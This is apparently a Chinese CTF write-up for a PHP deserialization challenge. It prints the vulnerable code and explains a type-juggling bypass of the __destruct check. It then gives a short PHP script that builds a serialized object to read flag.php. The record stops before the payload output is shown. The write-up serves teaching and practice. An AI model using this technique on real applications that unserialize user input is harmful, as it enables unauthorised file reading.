打开题目环境,出现一连串php代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
先进行代码分析,大致意思如下:
首先,网站包含了flag.php文件,页面以GET的方法接收str参数,并对str参数进行反序列化操作unserialize()函数,反序列化后会生成类FileHandler,PHP函数结束前,会触发魔术方法__destruct()函数,__destruct()函数会设置变量op的值,并且触发process()函数,process()函数会根据op的值来进行read()和write()方法。
显然,我们想要获取flag,肯定希望页面实行read操作,并且设置filename变量为flag.php。而在process()函数中,只有op变量的值为2时才会触发read()方法。而如果我们直接设置op变量的值为2,在__destruct()函数中就会强制性的将该值修改为1。
但是,我们注意到__destruct()函数中比较使用了三个等号,而process()方法中的比较使用了两个等号。在PHP语言中,===检测值和类型,==检测值。因此,在这里,我们可以设置op变量的值为数字2,或者采用加空格的方式绕过(令op=’ 2’),这样一来,在__destruct()方法中,数字2不等于字符串2,因此__destruct()函数不会修改op变量的值,而在process()函数中,数字2和字符串2的值是相等的,因此会使得程序执行后续的read()函数。
下面我们开始构造序列化的php代码:
<?php
class filehandler{
public $op=2;
public $filename= 'flag.php';
public $content;
}
$a = new filehandler();
$b = serialize($a);
echo $b;
?>
代码运行结果:
将上述运行结果以get方式传参给str变量,发现页面没有flag,右键查看源代码发现flag值: